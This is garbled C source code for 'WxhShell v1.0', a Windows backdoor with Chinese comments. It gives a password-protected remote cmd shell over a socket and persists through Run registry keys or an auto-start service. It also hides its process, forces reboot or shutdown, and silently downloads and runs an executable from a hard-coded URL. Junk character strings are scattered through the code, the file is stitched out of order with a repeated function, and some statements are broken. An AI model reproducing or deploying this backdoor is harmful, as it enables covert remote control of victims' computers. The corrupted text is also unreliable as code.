T N xeHb89GnoQ PROCNTQSIP NtQueryInformationProcess; Lubs{-5lk *Cnq2=A]A static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^5^}MB% static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _rMT{q3 5M Wvu,'%8 HANDLE hProcess; nSxb-Ce PROCESS_BASIC_INFORMATION pbi; hyOm9WU .i+* #djx HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @v~Pwr! if(NULL == hInst ) return 0; SCurO9RN !/nx=vgp g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M[K0t>ih g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;>Ca(Y2M NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /iUUM
t' \POnsM)+l if (!NtQueryInformationProcess) return 0; \|~?x#aA !FB \h<6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %Nm @f' if(!hProcess) return 0; q qe2,X? o3F|#op if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ``|gcG o'eI(@{F= CloseHandle(hProcess); 3Rd`Ysp *f
TG8h hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %K^gUd>,R if(hProcess==NULL) return 0; )8$:DW; !eR-Kor HMODULE hMod; X7H'Uk9: char procName[255]; `8Jq~u6_Z unsigned long cbNeeded; Vm~qk /esVuz if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AbF(MK=i om}/f` CloseHandle(hProcess); skI(]BDf $7UoL,N> if(strstr(procName,"services")) return 1; // 以服务启动 /bmXDDYH4 feI./E return 0; // 注册表启动 Q54r?|'V } ';b3Mm
# Z cm<Fw // 主模块 dd<:#c9 int StartWxhshell(LPSTR lpCmdLine) pgLtD};S { Har~MO?A SOCKET wsl; D1X4|Q*SK BOOL val=TRUE; 0iJ!K;A2% int port=0; _~;&)cn,0 struct sockaddr_in door; b "
")BT hj&fQ}X if(wscfg.ws_autoins) Install(); 5iQmZ[ zJ;>.0 port=atoi(lpCmdLine); 6 u-$ X>Al:?`}N if(port<=0) port=wscfg.ws_port; SOp=~z }!%JYG^!D WSADATA data; ~H^'al2PK if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6Wpxp\ WR/o
@$/ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; T-|9o|~z setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gB>imr#e& door.sin_family = AF_INET; sno`=+|U] door.sin_addr.s_addr = inet_addr("127.0.0.1"); pb^,Qvnp door.sin_port = htons(port); ]*N:;J 'qL5$ zG if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !K3})& w closesocket(wsl); 5@`F.F>" return 1; p}3NJV } ZfPd0 p >Mvka;T] if(listen(wsl,2) == INVALID_SOCKET) { yiVG ]s closesocket(wsl); (j' {~FB return 1; 7qe7Fl3 } EntF@ln! Wxhshell(wsl); e-X HN WSACleanup(); KD% TxK }*
QO]_U? return 0; Eh\ 1O(a( Al7<s } B.$PhmCG 5@P%iBA4(3 // 以NT服务方式启动 jn-QKdqM VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'K@-Z] { TUh&d5a9H DWORD status = 0; ]^=|Zd- DWORD specificError = 0xfffffff; qib7Z]j 9!9>
?Z serviceStatus.dwServiceType = SERVICE_WIN32; yu)q4C7ek serviceStatus.dwCurrentState = SERVICE_START_PENDING; Q>.BQ;q] serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^0^(
u serviceStatus.dwWin32ExitCode = 0; ,;_rIO" serviceStatus.dwServiceSpecificExitCode = 0; `SV"ElRV serviceStatus.dwCheckPoint = 0; QR<`pmB~y serviceStatus.dwWaitHint = 0; 43zUN +TC1nkX hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CqqXVF3 if (hServiceStatusHandle==0) return; R7K!A
% ''IoC j status = GetLastError(); !;%y$$gxh if (status!=NO_ERROR) /XcDYMKgh { dY} pN" serviceStatus.dwCurrentState = SERVICE_STOPPED; |6E
.M1 serviceStatus.dwCheckPoint = 0; %*lp< D serviceStatus.dwWaitHint = 0; Q1Ux!$_ serviceStatus.dwWin32ExitCode = status; E&*:
jDg serviceStatus.dwServiceSpecificExitCode = specificError; 'b^l'KN:S SetServiceStatus(hServiceStatusHandle, &serviceStatus); b"``D ? return; KP3n^
$~ } x97L6! !tEe\K\e serviceStatus.dwCurrentState = SERVICE_RUNNING; 9)+@0fG) serviceStatus.dwCheckPoint = 0; -G9|n#zCU serviceStatus.dwWaitHint = 0; G.g|jP'n if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iq?l#}] } y&"!m} n~tqO!q // 处理NT服务事件,比如:启动、停止 {<2>6 _z VOID WINAPI NTServiceHandler(DWORD fdwControl) hd
B
|#t { [*8Y'KX < switch(fdwControl) 8tLHr @%% { XS?gn.o\ case SERVICE_CONTROL_STOP: "PMQyzl serviceStatus.dwWin32ExitCode = 0; o0ZIsrr
serviceStatus.dwCurrentState = SERVICE_STOPPED; ?aBj# serviceStatus.dwCheckPoint = 0; mEFw|M{ serviceStatus.dwWaitHint = 0; Yd:Q`#7A { %KtU1A([" SetServiceStatus(hServiceStatusHandle, &serviceStatus); !}y1CA } hSB?@I4s<\ return; $Pxb1E case SERVICE_CONTROL_PAUSE: d?A}qA[( serviceStatus.dwCurrentState = SERVICE_PAUSED; t9FDU break; +2RNZEc case SERVICE_CONTROL_CONTINUE: fW?sYC' serviceStatus.dwCurrentState = SERVICE_RUNNING; ;QBh;jg4 break; j!\dn!Xwt case SERVICE_CONTROL_INTERROGATE: ?}}qu'N:N break; $5AC1g' }; c%z'xM SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8d!GZgC8R } Qzqc .T o}8I_o&]U // 标准应用程序主函数 BkawL, int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3JO]f5 { }aF ~i ,"87$[ // 获取操作系统版本 gAt~?HvW6 OsIsNt=GetOsVer(); h}Rx_d GetModuleFileName(NULL,ExeFile,MAX_PATH); i?>tgmu. 0:"2MSf> // 从命令行安装 mdW~~-@H if(strpbrk(lpCmdLine,"iI")) Install(); VWx]1\ %MZP)k,&U // 下载执行文件 `
#OSl if(wscfg.ws_downexe) { Xc*U+M>U if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %'bJ: WinExec(wscfg.ws_filenam,SW_HIDE); n[,XU|2 } |a-fE]{7
6)qp*P$L if(!OsIsNt) { rh!;|xB|+ // 如果时win9x,隐藏进程并且设置为注册表启动 #(KDjnP[ HideProc(); HeLG?6 StartWxhshell(lpCmdLine); p@~ic#X } irbw'^;y else >oGiIYq if(StartFromService()) O^Q,-=tA\ // 以服务方式启动 c6&Q^p|CF StartServiceCtrlDispatcher(DispatchTable); "?3` else !E2W\chi // 普通方式启动 ` qUX. StartWxhshell(lpCmdLine); o.m:3!RW kGHQ`h return 0; F]EBD 8/b } ;AX8aw, xwi\ VwyVEZt yVX8e I =========================================== D:"{g|nW} GIyF81KR 3 s?2$ue&-f \?**2{9&) Kcy@$uF{2 o*5U:'=5} " IgIYguQ /mA,F;
#include <stdio.h> X6\ sF"E #include <string.h>
=-"c*^$] #include <windows.h> NX[4PKJ0C #include <winsock2.h> /Fgw$
^H #include <winsvc.h> dOFD5}_ #include <urlmon.h> aC%&U4OS @n-r-Q #pragma comment (lib, "Ws2_32.lib") )5_jmW`n #pragma comment (lib, "urlmon.lib") S<`I
Jpkv e}hmS 1>H #define MAX_USER 100 // 最大客户端连接数 'n;OB4 #define BUF_SOCK 200 // sock buffer )G~w[~ #define KEY_BUFF 255 // 输入 buffer V5i*O3a~
8|6
4R: #define REBOOT 0 // 重启 $q$7^r@ #define SHUTDOWN 1 // 关机 i/H+xrCK C0jj(ku& #define DEF_PORT 5000 // 监听端口 <\ `$Jx# GZip\S4Y #define REG_LEN 16 // 注册表键长度 A\fb< #define SVC_LEN 80 // NT服务名长度 v{aq`uH piy`zc-yu // 从dll定义API q%Yn;g|_ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); up>c$jJ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); asHxL! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :,B7-kBw typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); X]%itA r [ : // wxhshell配置信息 n/~A`%E@ struct WSCFG { CVNj-&vj int ws_port; // 监听端口 bi[IqU!9 char ws_passstr[REG_LEN]; // 口令 C;+h.;}<D int ws_autoins; // 安装标记, 1=yes 0=no ?e[lr>- char ws_regname[REG_LEN]; // 注册表键名 4_A0rveP char ws_svcname[REG_LEN]; // 服务名 ,:LA.o}h char ws_svcdisp[SVC_LEN]; // 服务显示名 I,yC
D7l_ char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]\ !5}L char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R:X0'zeRr int ws_downexe; // 下载执行标记, 1=yes 0=no T*g:#
^4 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" i|`dWOVb char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]:>,A@7 i4JqT \q }; Fz#X=gmG +M'
H0-[ // default Wxhshell configuration _{<seA struct WSCFG wscfg={DEF_PORT, /!h;c$ "xuhuanlingzhe", VTy9_~q 1, Xpe)PXb "Wxhshell", )R`x R,H "Wxhshell", [AMAa]^ "WxhShell Service", I$q]. B "Wrsky Windows CmdShell Service", vM:cWat "Please Input Your Password: ", ?POUtRN 1, H0m|1
7 "http://www.wrsky.com/wxhshell.exe", tW
WWx~k "Wxhshell.exe" Wbr+KX8) }; xvl3vAN9 A, 3bC // 消息定义模块 Gx`L ks char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; / 0 O=( char *msg_ws_prompt="\n\r? for help\n\r#>"; '3zc|eJt& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (hiyNMC char *msg_ws_ext="\n\rExit."; <sK4#!K char *msg_ws_end="\n\rQuit."; >leU:7 char *msg_ws_boot="\n\rReboot..."; 4=<tWa|@9 char *msg_ws_poff="\n\rShutdown..."; 1`ayc|9BR char *msg_ws_down="\n\rSave to "; q$I:`& WSuww char *msg_ws_err="\n\rErr!"; !;?+>R)h char *msg_ws_ok="\n\rOK!"; %_ !bRo =UUU$hq2 char ExeFile[MAX_PATH]; ,]bB9tid int nUser = 0; [!!Q,S"
HANDLE handles[MAX_USER]; rj(T~d4 int OsIsNt; ,eTU/Q>{,& T5a*z}L5 SERVICE_STATUS serviceStatus; h1'\:N` SERVICE_STATUS_HANDLE hServiceStatusHandle; pe^u$YE
PRHCrHs // 函数声明 Fu!RhsW5j int Install(void); J8mdoVt int Uninstall(void); SkmT`*v@ int DownloadFile(char *sURL, SOCKET wsh); dFKM
8_jH int Boot(int flag); ^0/j0]O void HideProc(void); ;L']e"G int GetOsVer(void); CrwwU7qKL int Wxhshell(SOCKET wsl); 5[c^TJ3 void TalkWithClient(void *cs); feQ **wI int CmdShell(SOCKET sock); +v=C@2T int StartFromService(void); |PC*=ykT3 int StartWxhshell(LPSTR lpCmdLine); j~!X;PV3 ~l)-wNqR4r VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J0@X<Lt U VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q~Hy%M%R3 M5 <@~V/[ // 数据结构和表定义 @Y1s$,=xB SERVICE_TABLE_ENTRY DispatchTable[] = EK4d_L]I { sBcPq SMby {wscfg.ws_svcname, NTServiceMain}, V4_=<W {NULL, NULL} P9T}S }; 6I%5Q4Ll e)(wss+d7P // 自我安装 nDHTV!]< int Install(void) oH_;4QU4y {
'FDef#P< char svExeFile[MAX_PATH]; =weSyZ1~ HKEY key; -3Hy*1A. strcpy(svExeFile,ExeFile); 2 B p6;OL@\~ // 如果是win9x系统,修改注册表设为自启动 ,^C--tgZJg if(!OsIsNt) { :Of^xj>A if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YJ\Xj56gv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /Njd[=B RegCloseKey(key); g*_cPU0~m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VIv&ofyAR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <ZNzVnVA RegCloseKey(key); RS8Hf~0G return 0; ME*LHr, } >k (C } N<XNTf } E"5*Ei)^3 else { U
H*r5o3 d~i+
I5 // 如果是NT以上系统,安装为系统服务 NfjE` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
K~R`%r_ if (schSCManager!=0) >Z'NXha { / G7vwC SC_HANDLE schService = CreateService B!?%O ( d>mo~ schSCManager, * -8&[D0 wscfg.ws_svcname, Sy0$z39 wscfg.ws_svcdisp, 9po3m]|zy SERVICE_ALL_ACCESS, . QBF`Rz SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UWd=!h^dt SERVICE_AUTO_START, ui/a|Q SERVICE_ERROR_NORMAL, LGw$v[wb svExeFile, $7^o#2
B NULL, pe1R(|H NULL,
Pu" P9 NULL, 1pgU}sRk NULL, (&F
,AY3A NULL ZZzMO6US0 ); \RC'XKQ*n if (schService!=0) %5"9</a&G { nH[yJGZYSA CloseServiceHandle(schService); U_I5fK= CloseServiceHandle(schSCManager); ^f4s"T strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hYG6 pTCb strcat(svExeFile,wscfg.ws_svcname); kY-N>E: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z/Dx,zIR RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;'#8tGv= RegCloseKey(key); paCV!tP return 0; %z,mB$LY } rWR}Stc@] } 7%x[q} CloseServiceHandle(schSCManager); ',JinE95 } Ws|j#X< } 2{H@(Vgpbr Dv5D~on{ return 1; #_^Lb]jkM } 4R1<nZ"e~ vunHNHltW0 // 自我卸载 ix)M`F%P3 int Uninstall(void) $QN"wL|| { wsI`fO^A8 HKEY key; K;?m';z0 w"-Lc4t+ if(!OsIsNt) { Bg x'9p/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \Je0CD=e` RegDeleteValue(key,wscfg.ws_regname); 3q\,$*D. RegCloseKey(key); KBx6NU?;PO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^:^9l1] RegDeleteValue(key,wscfg.ws_regname); eg;~zv RegCloseKey(key); Z`ID+ return 0; [+n*~ } o ,AAC } aBNc(?ri } qNB<T(' else { 7:plQ!7^ oAODp!_c SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #S!)JM|4wk if (schSCManager!=0) N4F.Y"R$( { 6xTuNE1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MyJ%`@+1 if (schService!=0) {?}E^5Z*g { 0zmE>/O+ if(DeleteService(schService)!=0) { Z>:NPZODf CloseServiceHandle(schService); `yrB->|vG CloseServiceHandle(schSCManager); xr4*{v return 0; 6t[+pL\b } 7)`nD<j5 CloseServiceHandle(schService);
mHdA2 } i&bA2p3+d CloseServiceHandle(schSCManager); nP$Ky1y G } v_+{'F } @E7DyU| Z'`<5A%; return 1; 0l )~i'' } n'n/Tu 6F!+T= // 从指定url下载文件 xpV|\2C int DownloadFile(char *sURL, SOCKET wsh) 4&<oFW\r { i[7\[ HRESULT hr; ^}/PGG\~r char seps[]= "/"; le|~BG hL char *token; 89pEfl j2 char *file; UZ\u;/} char myURL[MAX_PATH];
4":KoS`,j char myFILE[MAX_PATH]; _|kxY'_[8 J=9FRC strcpy(myURL,sURL); P{kur} T token=strtok(myURL,seps); >JHryS.j$4 while(token!=NULL) j4gF;-m< { N.,X<G.H file=token; `i3NG1
v0 token=strtok(NULL,seps); q9KHmhUD } BO~0ON0 HVR /7&g GetCurrentDirectory(MAX_PATH,myFILE); ry`Ho8N strcat(myFILE, "\\"); x-WmMfcz& strcat(myFILE, file); <'y?KiphL send(wsh,myFILE,strlen(myFILE),0); cOmw?kA*G send(wsh,"...",3,0); n9W(bG o hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'N (:@]4N if(hr==S_OK) (-UYB9s return 0; O,{6*[)@ else x gVeN[" return 1; aL+
o / <=zQ NBtx } n\Z!ff/ _<n~n]% // 系统电源模块 ZCMw3]* int Boot(int flag) w1EXh { c69C HANDLE hToken; S'Q@ScJ TOKEN_PRIVILEGES tkp; &N2N6&Ta/ @Q)OGjaq if(OsIsNt) { U6glp@s OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l+xX/A) LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); PS)4 I&;U tkp.PrivilegeCount = 1; pnl{&<$C%C tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (5$!MUS~9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [A+
>^ { if(flag==REBOOT) { orzZ{87 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l:
HTk4$0 return 0; p|X"@kuseO } ?AK(| else { T,,WoPU8t if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yr)G]K[/ return 0; %P;lv*v. } 7Haa;2
T' } F&4rO\aC"/ else { >:74%D0UF if(flag==REBOOT) { [owWiN4`s if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ci@o|Y }tP return 0; MK%9:wZ } ~qiJR`Jj else { =_.l8IYX$% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) dN$0OS`s[ return 0; e>} s;H, } .[]r}[ lU } X&tF;<m^ NO*u9YH? return 1; ((YMVe } wL+s8#{ QyEnpZ8?a // win9x进程隐藏模块 *RI]?j%B void HideProc(void) l.67++_ { |XaIx#n C.WX.Je HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LA!?H] if ( hKernel != NULL ) k|e7a2Wwt { EaO6[E pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H*d9l2,KZS ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]AINKUI0 FreeLibrary(hKernel); O*hDbM2QQw } S]}nm %|s; C return; }n]Ng]KM` } ;,hwZZA iw3FA4{( // 获取操作系统版本 >nJ\BPx int GetOsVer(void) F~,Mw8 { &Qf/>@ l} OSVERSIONINFO winfo; A=$04<nP8! winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W>${zVu GetVersionEx(&winfo); %^?fMeI|Y if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y@;CF return 1; &C`Gg< else AFq~QXmr) return 0; M1k{t%M+S } Kr?TxhUHd 5#HW2"7 // 客户端句柄模块 iowTLq!? int Wxhshell(SOCKET wsl) Gj1&tjK { C'>|J9~Gz SOCKET wsh; !S$:*5=& struct sockaddr_in client; 8v:T.o;< DWORD myID; %"q9:{m S ^!n45l while(nUser<MAX_USER) Y4J3-wK5 { j_qbAP int nSize=sizeof(client); 4V{:uuI;f wsh=accept(wsl,(struct sockaddr *)&client,&nSize); []\+k31D if(wsh==INVALID_SOCKET) return 1; w;%.2VJ GoJ.&aH $ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KI.q@zO6| if(handles[nUser]==0) 6/f7< closesocket(wsh); k9<;woOBO else 35h8O,Y nUser++; 'F/~o1\. } 5VfyU8)7X WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +KF^Z$I Q7HRzA^- return 0; Sgeh %f } i[O& )N,c `fA@hK
// 关闭 socket ^7w+l @ void CloseIt(SOCKET wsh) `{f}3bO7C { zG }@0 closesocket(wsh); ?qmRbDI nUser--; ;0Q4<F ExitThread(0); &xU[E!2H% } ZJnYIK `"Jj1O@ // 客户端请求句柄 S-a]j;U void TalkWithClient(void *cs) `68@+|# { .u)X3..J iJ ($YvF4 SOCKET wsh=(SOCKET)cs;
Y[ j6u\y char pwd[SVC_LEN]; 6O7'!@@ char cmd[KEY_BUFF]; w x]0p char chr[1]; oTEL?hw5 int i,j; uF X#`^r` yks__ylrl( while (nUser < MAX_USER) { q}b
dxa
"0V.V>-p if(wscfg.ws_passstr) { ?1*cO:O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8Q.T g. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ])[[ V!1 //ZeroMemory(pwd,KEY_BUFF); OyStq i i=0; )\1QJ$-M& while(i<SVC_LEN) { KKb,d0T[ u0}vWkn\4 // 设置超时 L 8c0lx}Nn fd_set FdRead; sG(~^hJ_ struct timeval TimeOut; 9Uh"iMB FD_ZERO(&FdRead); g1;:KzVv FD_SET(wsh,&FdRead); zv|2:4H TimeOut.tv_sec=8; l^!
?@Kg,z TimeOut.tv_usec=0; 5us:adm[pD int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d8DV[{^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f- K+]aZ) @#l `iK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w_ akn t T pwd=chr[0]; 0 3L] if(chr[0]==0xd || chr[0]==0xa) { %p Ynnfr pwd=0; SU MrFd~ break; o5u3Fjz3 } ,dv+p&Tz2 i++; -{KQr1{5UM } CLxynZ\ ; Bm:98? [ // 如果是非法用户,关闭 socket ,[N%Q# if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kC:uG0sW } +UC G0D '<gI8W</ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oro$wFxJO send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [NF'oRRD9s v|Pv 03%?7 while(1) { bYcV$KJk R]JT&p|w.1 ZeroMemory(cmd,KEY_BUFF); -5)H<dAQZ %{7|1>8 // 自动支持客户端 telnet标准 >d(~#Z` j=0; EW}Bz h>b while(j<KEY_BUFF) { 0$(WlP| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \/93Dz cmd[j]=chr[0]; kF3k7,.8& if(chr[0]==0xa || chr[0]==0xd) { d.[8c=$ cmd[j]=0; #?RU;1)Cw break; b\ X@gq
} ~]nRV *^ j++; @tF\p
} \|n-
O=}=2 8mCxn@yV // 下载文件 , |0}<% if(strstr(cmd,"http://")) { .14~J6 send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4%{,]
q\p if(DownloadFile(cmd,wsh)) zp6C3RG( send(wsh,msg_ws_err,strlen(msg_ws_err),0); S\^Pha
q else 32(^Te]: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oF vfCrd } ['b}QW@Fx else { Z/G
ev"p w3N[9w?1 switch(cmd[0]) { M
"ui0
ac hz{`h // 帮助 C2.HMgL case '?': { .7O*pJ2(H send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3D6RLu break; Zj_b>O-V } oxr#7Ei0d // 安装 yyR0]NzYUD case 'i': { I.I`6(Cb if(Install()) Ih@61>X.o* send(wsh,msg_ws_err,strlen(msg_ws_err),0); !d'GE`w T else at @G/? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dLH(D: ` break; Upx G@b } O],T,Z?z // 卸载 "x%Htq@ case 'r': { md+nj{Ib if(Uninstall()) 3W V"U send(wsh,msg_ws_err,strlen(msg_ws_err),0); zlyS}x@p else
3Nl <p"= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p$O.>
[ break; 3N8t`N } zh%#Y_[R // 显示 wxhshell 所在路径 PoNi"Pv case 'p': { 9q)Kfz char svExeFile[MAX_PATH]; CZ8KEBl strcpy(svExeFile,"\n\r"); rDl*d`He! strcat(svExeFile,ExeFile); qjwxhabc send(wsh,svExeFile,strlen(svExeFile),0); /{Is0+) break; ag;Q F } qjc8fP2 // 重启 Nv$R\' 3 case 'b': {
Id*Ce2B send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PYQ;``~x if(Boot(REBOOT)) W=lyIb{?^0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); mD/9J5: else { @efh{ closesocket(wsh); "_P;2N6 ExitThread(0); 0*VWzH
} q$p%ZefZ break; ) g0%{dfJ } Y$o<6[7 // 关机
z__EYh case 'd': { )S3\,S-. send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "Hya6k>j if(Boot(SHUTDOWN)) IO wj>t send(wsh,msg_ws_err,strlen(msg_ws_err),0); o\BOL3H else { LI'6R= closesocket(wsh); :v0U|\j8/V ExitThread(0); 16w|O|^< } ,k.3|aZE break; ~3^
8>d/ } YD<:,|H // 获取shell Moy <@+ case 's': { svsq g{9z CmdShell(wsh); -#7'r<I9@ closesocket(wsh); LuNc,n% ExitThread(0); \@Ts+7% break; b`(}.r?W } -] LY,M // 退出 9eR-
case 'x': { *jLJcb*.Ap send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tI]Q%S, CloseIt(wsh); )}g(b= break; *RDn0d[ } 2SD`OABf# // 离开 Ut*`:]la case 'q': { tankR9(o send(wsh,msg_ws_end,strlen(msg_ws_end),0); [O$Wa:< 0x closesocket(wsh); VdPtPq1 WSACleanup(); ?OId\'q exit(1); O $LfuL break; rr+|Zt
Y } V n7*JS } NYt&@Z}] } s0\X ^ ? 8)'oMD // 提示信息 `V=N*hv` if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G"klu } grS:j+_M2m } y.anl I+BHstF5um return; Bu#E9hJFvA } U GD2
>d*iD // shell模块句柄 ^b/ Z)3 int CmdShell(SOCKET sock) ?iPC* { I*%-cA%l STARTUPINFO si; G(Lzf( ZeroMemory(&si,sizeof(si)); o#;b si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t,QyfN si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; DD7h^-x PROCESS_INFORMATION ProcessInfo; 6TYY
UM"& char cmdline[]="cmd"; xRJ\E }/7 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ydFD!mO return 0; VAWF3 } dOa+(fMe yGI;ye'U // 自身启动模式 #~#R- int StartFromService(void) bmJ5MF]_fG { .Fs7z7?Y typedef struct 3Iua*#<m, { wE[]6\_x1 DWORD ExitStatus; ]"J~:{, d DWORD PebBaseAddress; rk&IlAE DWORD AffinityMask; MV<^!W DWORD BasePriority; wL;lQ& ULONG UniqueProcessId; "*($cQ$v ULONG InheritedFromUniqueProcessId; )n+Lo&C< } PROCESS_BASIC_INFORMATION; wy yWyf QXL'^uO PROCNTQSIP NtQueryInformationProcess; ,eOB(?Ku C+'/>=>a. static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~{d$!`|a static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %Da8{%{`Pc Mx&&0#;r HANDLE hProcess; 6tB+J F PROCESS_BASIC_INFORMATION pbi; Ci?Ss+| t|a2;aq_ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8u"!dq if(NULL == hInst ) return 0; Vc_'hz]Z XJ;D=~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1s%#$ 7 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {K <iih NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jB`,u|FG AB=daie if (!NtQueryInformationProcess) return 0; ;LcVr13J/ 9}l33T4T hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &]8P1{ if(!hProcess) return 0; 9zZr^{lUl ,.rs(5.z8/ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, 